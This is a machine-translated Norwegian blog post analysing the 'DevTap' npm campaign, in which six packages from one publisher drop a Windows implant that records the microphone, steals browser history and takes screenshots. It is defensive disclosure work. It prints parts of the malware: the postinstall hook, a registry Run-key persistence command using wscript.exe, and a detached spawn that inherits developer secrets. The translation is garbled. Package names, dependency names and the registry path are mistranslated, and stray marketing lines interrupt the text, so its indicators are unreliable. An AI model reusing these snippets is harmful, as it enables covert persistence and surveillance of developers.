DevTap npm Typosquatting-angrep

DevTap npm Typosquatting-angrep: Seks ondsinnede pakker retter seg mot utviklerarbeidsstasjoner

TL; DR

Mellom 1. april og 3. mai 2026, én npm-utgiver, user0001, registrert med den ubekreftede Gmail-adressen tanvisoul9@gmail.com, fremmet i stillhet seks pakker med bevisst intetsigende, infrastruktur-klingende navn: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimeog node-env-resolve.

De to siste versjonene av node-env-resolve, 1.0.7 og 1.0.8, ble flagget av Xygenis Malware Early Warning (MEW)-system 2. mai og bekreftet som skadelige 3. mai.

Implantatet er uvanlig for det det ikke er: det finnes ingen Telegram-boter, ingen OAST-tilbakekallinger, ingen obfuscation, og ingen forsøk på å få tak i AWS-legitimasjon under installasjon. I stedet, postinstall.js planter en Windows boot-persistence-oppføring, ved hjelp av en HKCU Run-nøkkel som starter wscript.exe mot en VBS-stub. Deretter genererer den en løsrevet Node.js-agent som samler moduler for mikrofonopptak, tyveri av nettleserhistorikk, skjermbilder og simulering av mus/tastatur.

Vi kaller denne klyngen DevTap, etter at settet kjører på en utviklers maskin.

Alle seks pakkene var tilgjengelige på npm i skrivende stund. Vi har sendt dem til registerets misbrukskanal. Forsvarere bør hente eventuelle installasjoner fra utgiveren i påvente av fjerning.

Klyngen: Seks pakker, én utgiver

Utgiverkontoen user0001 er ubekreftet. Den har ingen SCM verifisering, ingen domenebundet e-post og ingen tidligere historikk. Gmail-håndtaket tanvisoul9 vises ikke i noen annen npm-utgiveroppføring vi kunne finne.

Alle seks pakkene lister opp den samme vedlikeholderen, ble publisert fra den samme kontoen og deler det samme package.json standardstandard. Det finnes ingen repository, Nei homepage, og nei description lengre enn én linje.

Navnestrategien er den interessante delen. I motsetning til en klassisk avhengighetsforvirrings- eller typosquat-kampanje, er ingen av disse navnene rettet mot et spesifikt oppstrømsbibliotek. I stedet er de kalibrert til å forsvinne inn i et ekte package.json or npm ls utgang.

PakkeFørst publisertSiste versjonversjonerRolle i klyngen
sentrallogger2026-04-01 12:46 UTC1.0.95, fra 1.0.5 til 1.0.9Klyngens omslag til «loggverktøyet»; tidligste publisering
dom-utils-lite2026-04-14 07:36 UTC1.0.33Generisk DOM-hjelperomslag
node-fetch-lite2026-04-19 10:22 UTC1.0.23Etterligner node-fetch-familien
koblingsagent2026-04-25 05:12 UTC1.0.01Generisk navn «agent»
node-gyp-kjøretid2026-04-25 05:17 UTC1.0.01Etterligner verktøy for bygging av native moduler
node-env-resolve2026-04-25 05:21 UTC1.0.910, fra 1.0.0 til 1.0.9Aktiv dropper; full implantat

Navn som centralogger, node-fetch-liteog node-gyp-runtime er utformet for å se ukontroversielle ut i kodegjennomgang. De høres ut som ting som allerede ville vært i et prosjekts avhengighetstre.

Kombinert med en fersk, ubekreftet utgiver og manglende lenker til arkiver, danner de et gjenkjennelig mønster: en aktør som sår lavfriksjonsnavn i registeret, og deretter itererer raskt på det som betyr noe. I dette tilfellet, node-env-resolve mottok ti versjoner på åtte dager.

Hva lander på en Windows Dev Box

Den ondsinnede kjeden på node-env-resolve:1.0.8 er kort, direkte og uvanlig funksjonsrik for en npm RAT.

Etterinstallasjon: Persistens og Detached Agent

package.json deklarerer en enkelt installasjonshook:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js gjør tre ting i rekkefølge.

Først plasserer den en installasjonskatalog utenfor npm-treet. Stien beregnes under kjøring i skriptet som INSTALL_DIRDeretter kjører den en intern execSync('npm install --production --silent ...') inni den for å hente implantatets kjøretidsavhengigheter. Dette legger agenten på disk et sted i en manual node_modules revisjonen vil ikke finne.

For det andre skriver den en VBS-starter og registrerer den for oppstartspersistens:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe er Windows Script Host, en signert Microsoft-binærfil som kjører .vbs filer uten et konsollvindu. Det er precishvorfor den er foretrukket for autokjøringsstubber.

Det finnes også en matchende reg delete sti inni src/index.js, noe som tyder på at implantatet er utformet slik at det kan fjernes enkelt på operatørens kommando.

For det tredje, det skaper en løsrevet barneprosess:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

To detaljer er viktige her.

SERVER_URL leses fra miljøet. Som et resultat er C2-endepunktet konfigurerbart per distribusjon og er ikke bakt inn i pakken. Dette lille, men bevisste valget motvirker de fleste statiske IOC-sveip.

I tillegg arver det skapte barnet hele foreldremiljøet. Derfor, enhver NPM_TOKEN, AWS_*, GITHUB_TOKEN, eller SSH-agent-socketen som finnes i utviklerskallet ved installasjon, reiser til den langvarige agentens minne.

Hva agenten sender med

Den medfølgende src/ treet inneholder tre moduler hvis navn alene forteller historien: audioCapture.js, browserHistory.jsog systemInfo.js.

Listen over kjøreavhengigheter, løst under trinnvis oppstart npm install, bekrefter dem.

Denne tilnærmingen gjør en kaotisk hendelse om til en kontrollert respons.

I stedet for å reagere blindt, opererer team med tydelig prioritering og rask utbedring.

AvhengighetHva det er til for i denne sammenhengen
skjermbilde-skrivebordPeriodisk skjermbilde
@nøttre-gaffel/nøtt-jsMus- og tastaturautomatisering / inputsimulering
bedre-sqlite3Direkte lesing av Chrome-, Edge- og Firefox-historikk SQLite-databaser
adm-postnummerBunting av innsamlede gjenstander før utvinning
skarpeEndre størrelse på/komprimere skjermbilder og bildeartefakter
socket.io-klientVedvarende toveis C2-kanal
node-maskin-IDStabilt fingeravtrykk per vert for sporing av offer

systemInfo.js samtaler os.networkInterfaces() for ytterligere fingeravtrykk før den første beaconen.

Hvorfor lydopptaket er det enestående signalet

De fleste npm RAT-ene vi triagerer i MEW stopper ved hemmelig tyveri under installasjonstidspunktet. De leser. ~/.npmrc, les ~/.aws/credentials, skrape process.env, POST til en webhook, og avslutt. Det passer en økonomisk modell med et «smash-and-grab»-prinsipp. Legitimasjon har kort halveringstid, og angriperen må tjene penger raskt.

node-env-resolve er forskjellig i form.

Persistensen er satt opp for å overleve omstart. Agenten kjører frakoblet og har lang levetid under wscript.exeUtstyret den har med seg er for å være der på en utviklers maskin, ikke for å gripe og legge igjen: en mikrofonopptaker, en tastatur-/musdriver, fullstendig nettleserhistorikk, skjermbilde og en interaktiv Socket.IO-kanal tilbake til en konfigurerbar C2.

Spesielt mikrofonopptak er linjen denne kampanjen krysser som de fleste npm-skadevare ikke krysser.

En utviklerarbeidsstasjon er i økende grad også arbeidsstasjonen der utviklere tar stand-ups, kundesamtaler, designdiskusjoner og vaktmøter. Et implantat som tar opp mikrofonen er egentlig ikke ute etter utviklerens npm-token. Det er ute etter hva utvikleren sier foran den bærbare datamaskinen.

Dette funksjonssettet, pluss mangelen på tilsløring og fraværet av prangende eksfiltrering under installasjon, leses som forhåndsposisjonering for målrettet tilgang snarere enn opportunistisk legitimasjonstyveri.

Vi hevder ikke at dette er årsaken alene. Vi legger merke til den operative profilen.

npm typosquatting-angrep – DevTab

Åtte dagers iterasjonskadens på node-env-resolve er den mest operasjonelt talende detaljen i tidslinjen.

Dette er ikke en «brann og glem»-dropper. Utgiveren vedlikeholder aktivt dropperen, som vanligvis betyr én av to ting. Enten finjusterer de den mot testmiljøer før bredere distribusjon, eller så har de allerede installert telemetri som kommer tilbake og reagerer på den.

De andre fem pakkene opplevde i praksis ingen kundefrafall etter den første publiseringen. Det passer inn i et mønster der man «en gang i fasen, la navnet ligge» for støtteklyngen, mens den tekniske innsatsen fokuserer på pakken som gjør jobben.

Attribusjon: Små ledetråder, ingen fast dom

offentlig OSINT Signalene er tynne, og vi vil ikke strekke dem. Hva er observerbart:

Gmail-håndtaket tanvisoul9 ligner delvis på et sørasiatisk fornavn, «Tanvi». Dette er et svakt signal. Gmail-håndtak er ikke identitet, og det etterfølgende navnet soul9 er generisk. Det er ikke trygt å utlede geografi kun fra en lokal del av en e-post.

Kodestilen er upåfallende i Node.js: standard biblioteksamtaler som for eksempel os, child_process, spawnog reg addDet er ingen obfuskering, ingen strengrotasjon og ingen anti-feilsøkingslogikk. Forfatteren er komfortabel med Windows-registerprimitiver og orkestrering av detached-child-process, men ser ikke ut til å strekke seg etter mer snikende håndverksteknikker de plausibelt kunne bruke.

Avhengigheter er helt standard og velkjente: screenshot-desktop, nut-js, better-sqlite3og socket.io-clientDet finnes ingen tilpasset protokoll, ingen helt ny C2-stabel og ingen nye utholdenhetstriks utover en lærebok. HKCU Run-nøkkelDette er en kompetent integrator, ikke en verktøyforfatter.

Vi fant ingen ikke-engelske strenger, innebygde kommentarer, lokale data eller tidssoneavtrykk fra kompilatorutdata i de publiserte artefaktene.

Vi sjekket for kodeoverlapping med tidligere kampanjer vi allerede sporer, inkludert Shai Hulud, Owlivion, Buildkite, og den nylige heibai / claude-code-best Anthropic-CLI-klonfamilien. Vi fant ingen: ingen delte C2-mønstre, ingen delte fillayouter og ingen delte idiomer.

Det vi ikke ville si: at dette er en statlig aktør, en kjent gruppe eller geografisk knyttet til et bestemt land.

Den operative profilen er i samsvar med et lite, moderat dyktig team som utfører overvåking på utviklerarbeidsstasjoner. Det er sannsynligvis økonomisk motivert gjennom nedstrøms bruk av tilgangen, men muligens også rekognosering-som-en-tjeneste for en separat kjøper.

To indirekte poeng støtter dette: unngåelse av oppmerksomhetsfangende eksfiltreringsmekanismer som ville brenne opp klyngen raskt, for eksempel Telegram-boter, oastify.com, eller canarytokens, og de bevisst intetsigende pakkenavnene, som favoriserer stille long-tail-installasjoner fremfor en kort topp i høyt volum.

Indikatorer for kompromittering og deteksjon

Pakker og utgiver
FeltVerdi
npm-utgiveruser0001
Utgiverens e-postadressetanvisoul9@gmail.com, ubekreftet
Nettsidepakker centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve
Bekreftet skadelignode-env-resolve@1.0.7, node-env-resolve@1.0.8
Vertsartefakter
typenVerdi
Nøkkel til vedvarende ferdigheterHKCU\Programvare\Microsoft\Windows\Gjeldende versjon\Kjør
PersistensverdiVariabelnavn; data på formen wscript.exe " \\ .vbs"
Installer krokpostinstall: noden postinstall.js i pakkemanifestet
Implantatmodulersrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Staging-katalogINSTALL_DIR løst utenfor prosjektets node_modules; plassering angitt av postinstall.js ved installasjonstidspunktet
Network
typenVerdi
C2-transportsocket.io-klient, vedvarende toveis kanal
C2-endepunktLeveres til agenten via SERVER_URL-miljøvariabelen; ikke hardkodet til publiserte artefakter

Deteksjonsmerknader

To regler fanger opp denne familien uten at C2-endepunktet er nødvendig.

Først, flagg postinstall-skript som utfører en intern npm install til en sti utenfor pakkens egen katalog. Enhver legitim forhåndsbygd nedlaster, for eksempel node-gyp gjenoppbygger eller forhåndsbygde binære nedlastere, skriver inne i pakken eller inn i plattform-standard hurtigbufferbaner med verifiserte hasher. Den skriver ikke inn i en nylig opprettet INSTALL_DIR andre steder på disken.

For det andre, flagg postinstall-skript som utløser problemer reg add HKCU\…\Run med wscript.exe som starteren. Dette er i hovedsak aldri legitimt fra en npm-pakke. Flagg og sett det i karantene.

En tredje heuristikk er nyttig for å oppdage den neste søskenpakken før den bekreftes: en fersk npm-utgiver uten SCM bekreftelse, en Gmail-e-post, nei repository feltet, og flere korte, generiske pakkenavn som høres ut som infrastruktur, publisert innen få dager etter hverandre, er i seg selv nok til å rettferdiggjøre manuell gjennomgang.

Rapportert til npm-registeret. Vi oppdaterer dette innlegget når utgiverkontoen er fjernet.

sca-tools-programvare-verktøy for komposisjonsanalyse
Prioriter, utbedre og sikre programvarerisikoene dine
Få din gratis konto.
Ingen kredittkort kreves.

Sikre programvareutviklingen og -leveringen din

med Xygeni-produktpakken